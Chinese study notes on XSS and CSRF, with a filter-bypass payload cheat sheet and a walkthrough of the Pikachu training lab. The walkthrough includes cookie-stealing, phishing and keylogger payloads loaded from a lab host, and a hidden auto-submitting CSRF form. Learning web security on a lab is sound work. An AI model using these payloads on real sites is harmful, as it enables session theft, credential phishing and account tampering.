一、XSS

可解析的js
未经过滤
XSS见框就插    
script 大小写  中间插入
<img src="" onerror="alert(11111)">
<iframe src=javascript:alert('xss');height=0 width=0 /></iframe>
编码绕过
不同的框可能不同过滤
svg可以被解析
上传图片然后做头像是用链接,可以换为xss

XSS漏洞探测:

XSS探针

我们可以在可插入到源代码中的位置输入
'';!‐‐"<XSS>=&{()}
测试哪些代码被转义或者过滤

XSS检测常用语句

<script>alert(/xss/);</script>
<script>alert(/xss/)//
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 用分号,也可以分号+空格(回车一起使用)
<img src=1 onmouseover=alert(1)>
<a herf=1 onload=alert(1)>nmask</a>
Javascript:alert(document.cookie)
<script>window.a==1?1:prompt(a=1)</script>
<script>a=prompt;a(1)</script>
<img src=0 onerror=confirm('1')>

XSS Filter 绕过:

script被过滤

    改变大小写    <SCRIPT>alert("xss")</SCRIPT>
 
    嵌套<script>  <scr<script>ipt>alert("xss") </script> 
 
    <img src="" onerror="alert('xss')"> 或者<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")) .src="xss平台提供的js语句"> 
 
    <iframe>代替<script> <iframe src=javascript:alert('xss');height=0 weight=0 /></iframe>
    <iframe width="0px" height="0px" src="data:text/html;base64,将XSS平台提供的js编码成base64格式(注意:包括了script标签)"></iframe> 例如将<script src=http://123123123.com></script> 编码
得到下列语句
<iframe width="0px" height="0px" src="data:text/html;base64,asd4s2f/asf+a123=="></iframe>

alert被过滤

    <img>标签代替alert
        被编码内容:alert('xss')  编码方式:JS+base16编码
        <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")> </img>

利用函数加密

    JS+base16加密  
格式:<script>eval("js+16进制加密")</script> 
编码格式:js+16进制加密 被编码内容:alert('js+base16') 编码后内容: \x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73\x65\x31\x36\x27\x29 
实际语句:<script>eval(“alert('js+base16')”)</script> 
插入语句:<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73 \x65\x31\x36\x27\x29")</script>
 
    unicode加密
 格式:<script>eval("unicode加密")</script> 
编码格式:unicode加密 
被编码内容:alert('unicode') 编码后内容:\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u006e\u0069\u0063 \u006f\u0064\u0065\u0027\u0029
实际语句:<script>eval(“alert('unicode')”)</script>
插入语句:<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u00 6e\u0069\u0063\u006f\u0064\u0065\u0027\u0029")</script>
 
    String.fromCharCod加密
格式:<script>eval(String.fromCharCode(编码))</script> 
函数:String.fromCharCode 
编码格式:String.fromCharCode 
被编码内容: alert('String.fromCharCode') 
编码后内容: String.fromCharCode(97,108,101,114,116,40,39,83,116,114,105,110,103,46 ,102,114,111,109,67,104,97,114,67,111,100,101,39,41)
实际语句:<script>eval(“String.fromCharCode”)</script> 
插入语句: <script>eval(String.fromCharCode(97,108,101,114,116,40,39,83,116,114,1 05,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,39,41)) </script> 
    data协议 作用:隐藏标签、保护标签!!!
 格式:<object data="data:text/html;base64,我们的完整语句"> </object>
        被编码内容:<script>alert('data protocol')</script>
        被编码内容:<script>alert('data protocol')</script>
          实际作用语句:<script>alert('data protocol')</script> 
        插入语句:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC 9zY3JpcHQ+"></object>
 
对属性内容的编码绕过:
对于过滤不太严格的这类富文本编辑器,我们大概的思路就是:
01.找出可利用的标签,通常有一些不引起注意的embed、object等,还有嵌入式的标记 语言svg、math等,而且img、a等一般也是不会过滤的。
02.找出可利用属性。onmouse系列、onerror、style等。
03.找出一个没被过滤的标签+属性组合(好是容易触发的),利用编码等方式绕过一 些其他过滤,终得到POC。
如下列出一些可用的关键字,可以借助黑盒的方式测试一遍,看看哪些过滤了哪些没过 滤,类似于fuzz。
img onAbort onActivate onAfterPrint onAfterUpdate onBeforeActivate onBeforeCopy onBeforeCut onBeforeDeactivate onBeforeEditFocus onBeforePaste onBeforePrint onBeforeUnload onBeforeUpdate onBegin onBlur onBounce onCellChange onChange onClick onContextMenu onControlSelect onCopy onCut onDataAvailable onDataSetChanged onDataSetComplete onDblClick onDeactivate onDrag onDragEnd onDragLeave onDragEnter onDragOver onDragDrop onDragStart onDrop onEnd onError onErrorUpdate onFilterChange onFinish onFocus onFocusIn onFocusOut onHashChange onHelp onInput onKeyDown onKeyPress onKeyUp onLayoutComplete onLoad onLoseCapture onMediaComplete onMediaError onMessage onMouseDown onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onMouseWheel onMove onMoveEnd onMoveStart onOffline onOnline onOutOfSync onPaste onPause onPopState onProgress onPropertyChange onReadyStateChange onRedo onRepeat onReset onResize onResizeEnd onResizeStart onResume onReverse onRowsEnter onRowExit onRowDelete onRowInserted onScroll onSeek onSelect onSelectionChange
onSelectStart onStart onStop onStorage onSyncRestored onSubmit onTimeError onTrackChange onUndo onUnload onURLFli formaction action href xlink:href autofocus src content data from values to style
利用伪协议: 伪协议,类似<a href=javascript:xxxx>呵呵</a>,href后面是可以跟着伪协议的,比如javascript协议。 在这里就可以借助它来完成通用型xss。

1.反射性XSS(GET)

输入kobe点submit发现,浏览器的url发生变化,确定为get传参的反射性
 
接下来进行测试将kobe改为js    <script>alert(document.cookie)</script>

弹窗成功,此处含有get传参的反射性xss且无过滤

2.反射性XSS(POST)+获取Cookie

输入kobe点submit发现,浏览器的url未发生变化,确定为post传参的反射性xss

接下来进行测试将kobe改为js   <script>alert(document.cookie)</script>

弹窗成功,此处含有post传参的反射性xss且无过滤
利用pikachu/pkxss/xcookie/post.html进行post型xss
修改post.html

修改完成后,在登录用户的情况下访问此链接 http://192.168.1.1/pikachu/pkxss/xcookie/post.html

然后查看xss后台发现,cookie已经发送到xss后台

3.存储型xss
(1)测试
测试xss,往留言板里提交 <script>alert(document.cookie)</script>

点击提交,之后可以看到下面的留言列表多了一个删除按钮,并且直接弹出cookie,说明存储型xss存在且无过滤。

(2)存储型钓鱼

同上,此存储型xss无过滤,所以我们可以构造src标签,使他访问到特定文件,在这里我们的pikachu平台有一个构造好的钓鱼文件,定向到此文件会弹出一个登录框,诱骗目标的账号和密码。如图。

上图就是pikachu平台的钓鱼文件

所以我们构造payload指定到此文件上   payload为 <script src="http://192.168.1.1/pikachu/pkxss/xfish/fish.php"></srcipt>

输入payload提交之后,效果如下

输入用户名和密码  分别为 S4tan   123123

进入xss后台查看,发现收到钓鱼结果

(3)存储型键盘记录

同上,这里我们的pikachu平台有一个构造好的js文件和php文件,引用此script脚本会记录键盘记录,但是有一个要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

其js和php的主要代码如下

我们构造引用js文件的payload    <script src="http://192.168.1.1/pikachu/pkxss/rkeypress/rk.js"></srcipt> 

提交执行,看起来并没有什么变化,但是查看源代码发现,xss插入成功

查看F12的Networking发现js已经被引用。

我们在输入框中输入文章试一试。

再查看xss后台,发现输入记录已被存入数据库。

4.dom型xss
按F12查看审查元素,按Ctrl+Shift+C然后点击click me!按钮定位函数

这个函数为

测试一下输入1

在下面出现了一个<a href="1">what do you see?</a>标签,尝试闭合
构造payload '><img src="#" onmouseover="alert(document.cookie)">

提交之后在下面会出现一个图片标识,当鼠标滑过就会弹出cookie

5.dom型xss-x
同理按F12查看审查元素,按Ctrl+Shift+C然后点击button 定位函数

domxss()函数与上一个不同

这次是先进行get传参,然后domxss()获取get传参,然后新建一个href标签,其他与之前的dom型xss相同,使用上一次的payload  '><img src="#" onmouseover="alert(document.cookie)">
结果如下

6.xss之盲打
同上,先查看审查元素,结果发现这个为post提交表单。测试一下。

进入后台查看

从审查元素上看,可以发现此xss不用闭合,直接插入<script>alert(document.cookie)</script>即可
进入后台发现直接弹窗

7.xss之过滤
测试<script>alert(document.cookie)</script>发现返回结果有>,应该是<script被过滤,

换一下payload,使用<a herf=1 onclick="alert('xss')">
 

点击herf 发现弹出cookie

8.xss之htmlspecialchars
题目可以看到过滤函数。
此时1发现1被拼接到<a href标签里

但是该函数把预定义的字符转换为 HTML 实体,预定义的字符是 & " ' < > 这五个,即转化为 &#xxx的形式
关于flags:默认情况下为只过滤双引号,若设置为ENT_QUOTES则单双引号均被过滤
所以我们可以利用'来绕过
构造payload    ' onclick='alert(document.cookie)'

点击弹出cookie
9.xss之href输出
利用

发现 ‘ 被html实体编码了,所以我们可以利用其他方法,但经过测试, <也被编码,也就是说这次应该还是htmlspecialchars函数只不过连 ' 也过滤了,所以我们可以利用在文章头提到的一下绕过姿势
Javascript:alert(document.cookie)

绕过成功
11.xss之js输出
同上测试,先输入kobe试一下。

在审查元素中查找上述位置

很明显,我们需要闭合这个js语句
$ms = '    +   payload   +    '
所以我们构造 payload 为  1111111'</script><script>alert(document.cookie)</script>//

弹cookie成功

二、CSRF

1.CSRF(GET)

首先登陆一个账户,获取cookie以及信息。

点击修改个人信息

利用审查元素,查看submit类型

发现是get传参类型的表单,先提交一次测试一下。

找到传参的参数以及路径。可以确定为CSRF类型,利用刚才的networking情况构造payload。

将kobe的性别改为girl 电话改为 123456789地址改为PPSUC 邮箱改为PPSUC@edu.cn 则完整的url为 http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=PPSUC&email=PPSUC%40edu.n&submit=submit

我们以当前用户点击此链接。如图

发现个人信息已被修改

则CSRF(GET)payload成功。

2.CSRF(POST)

同上,这次我们登录allen的账号获取其cookie和个人信息。

点击修改个人信息

查看审查元素,发现此次提交表单为post类型提交数据

所以这次我们需要构造一个链接,此链接为我们自己服务器文件,功能为一被访问就自动post数据到修改个人资料的PHP文件上。

所以我们构造html为

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="" />
<input id="add" type="text" name="add" value="PPSUC" />
<input id="email" type="text" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

此html在刚加载时就会触发id为postsubmit的对象,导致构造的form表单的数据被提交,而我们构造表单的vaule为我们想要的数据,这样就可以导致csrf产生。

测试:

我们在allen账号的状态下,点击我们html的url http://192.168.1.1/pikachu/vul/csrf/csrfpost/post.html

结果如下。先跳转到此页面

然后再跳转回个人信息页面

此时发现个人信息已被修改,然而有个很严重的问题,这个目标太显眼,我们要想办法把post.html的内容尽量减少。

例如:

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="hidden" name="sex" value="girl" />
<input id="phonenum" type="hidden" name="phonenum" value="" />
<input id="add" type="hidden" name="add" value="PPSUC" />
<input id="email" type="hidden" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

这样的画访问post.html如下图

应该还有其他方法减小目标,可以继续研究。

3.CSRF TOKEN

暂时没有很有效的办法去绕过token

pikachu的xss及csrf的更多相关文章

  1. web安全技术--XSS和CSRF

    Xss一般是脚本代码,主要是JS的,但是也有AS和VBS的. 主要分为反射型,存储型,DOM型三个大类. 一般来讲在手工测试的时候先要考虑的地方就是哪里有输入那里有输出. 然后是进行敏感字符测试,通常 ...

  2. 漏洞科普:对于XSS和CSRF你究竟了解多少

    转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广 ...

  3. XSS 和 CSRF 攻击

    web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...

  4. XSS与CSRF两种跨站攻击比较

    XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...

  5. 【实习记】2014-08-23网络安全XSS与CSRF总结

        XSS:脚本中的不速之客XSS:跨站脚本(Cross-site scripting)CSRF:冒充用户之手CSRF:跨站请求伪造(Cross-site request forgery) 谷歌搜 ...

  6. 总结 XSS 与 CSRF 两种跨站攻击

    前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...

  7. 浅谈CDN、SEO、XSS、CSRF

    CDN 什么是CDN 初学Web开发的时候,多多少少都会听过这个名词->CDN. CDN在我没接触之前,它给我的印象是用来优化网络请求的,我第一次用到CDN的时候是在找JS文件时.当时找不到相对 ...

  8. XSS和CSRF的理解

    声明:转自 http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html XSS攻击:跨站脚本攻击(Cross Site Scripting ...

  9. 总结XSS与CSRF两种跨站攻击

    XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...

随机推荐

  1. 【Ribbon篇四】Ribbon核心组件IRule(3)

    Ribbon在工作时分为两步: 先选择 EurekaServer,它优先选择在同一个区域内负载较少的Server: 再根据用户指定的策略,在从Server取到的服务注册列表中选择一个地址: 其中Rib ...

  2. 【声明式事务】Spring事务介绍(一)

    事务管理对于企业应用来说是至关重要的,当出现异常情况时,它也可以保证数据的一致性. Spring事务有两种管理方式:编程式事务和声明式事务 编程式事务使用TransactionTemplate或者直接 ...

  3. 大宗商品交易与风险管理(CTRM)软件产品介绍

    https://mp.weixin.qq.com/s/grA8MhryPfDB2PmBqsao4Q 从全球范围来看,大宗商品行业风险管理领域的主流软件产品是CTRM系列.CTRM是Commodity ...

  4. 【LOJ2838】「JOISC 2018 Day 3」比太郎的聚会(设阈值预处理/分块)

    点此看题面 大致题意: 给你一张\(DAG\),多组询问,每次问你在起点不为某些点的前提下,到达给定终点的最大距离是多少. 设阈值 由于限制点数总和与\(n\)同阶,因此容易想到去设阈值. 对于限制点 ...

  5. 洛谷P3455 [POI2007]ZAP-Queries

    题目大意: 给定\(n,m,k,\) 求 \[\sum\limits_{x=1}^n\sum\limits_{y=1}^m[gcd(x,y)==k]\] 莫比乌斯反演入门题,先进行一步转化,将每个\( ...

  6. 如果对象的引用被置为null,;垃圾回收器是否会立即释放对象占用的内存?

    不会,在下一个垃圾回调周期中,这个对象将是被可回收的. 也就是说并不会立即被垃圾收集器立刻回收,而是在下一次垃圾回收时才会释放其占用的内存.

  7. centos7 解决docker0: iptables: No chain/target/match by that name

    解决步骤: 1.查看iptables状态,查看是否正常docker需要依赖该服务 service iptables status 注:我都服务就发现iptables服务的有问题 2.查看iptable ...

  8. 专栏《Elasticsearch 7.x从入门到精通》的相关源代码

    新版Elasticsearch 7.3 和 Spring Boot 2.1.7 集成演示项目       第一个项目:演示Elasticsearch 6.4.3 和Spring Boot 2.1.7集 ...

  9. Solr的知识点学习

    Solr单机版的安装与使用 1.Solr单机版的安装与使用,简单写了如何进行Solr的安装与使用.那么很多细节性问题,这里进行简单的介绍.我使用的是Solr与Tomcat整合配置. 2.什么是Solr ...

  10. 本机与虚拟机Ping不通

    关闭防火墙,设置虚拟机和本机在同一网段,还是ping不同 解决方法:在VMware中点击 编辑---->虚拟网络编辑器----->更改设置 ------->还原默认设置 然后重新配置 ...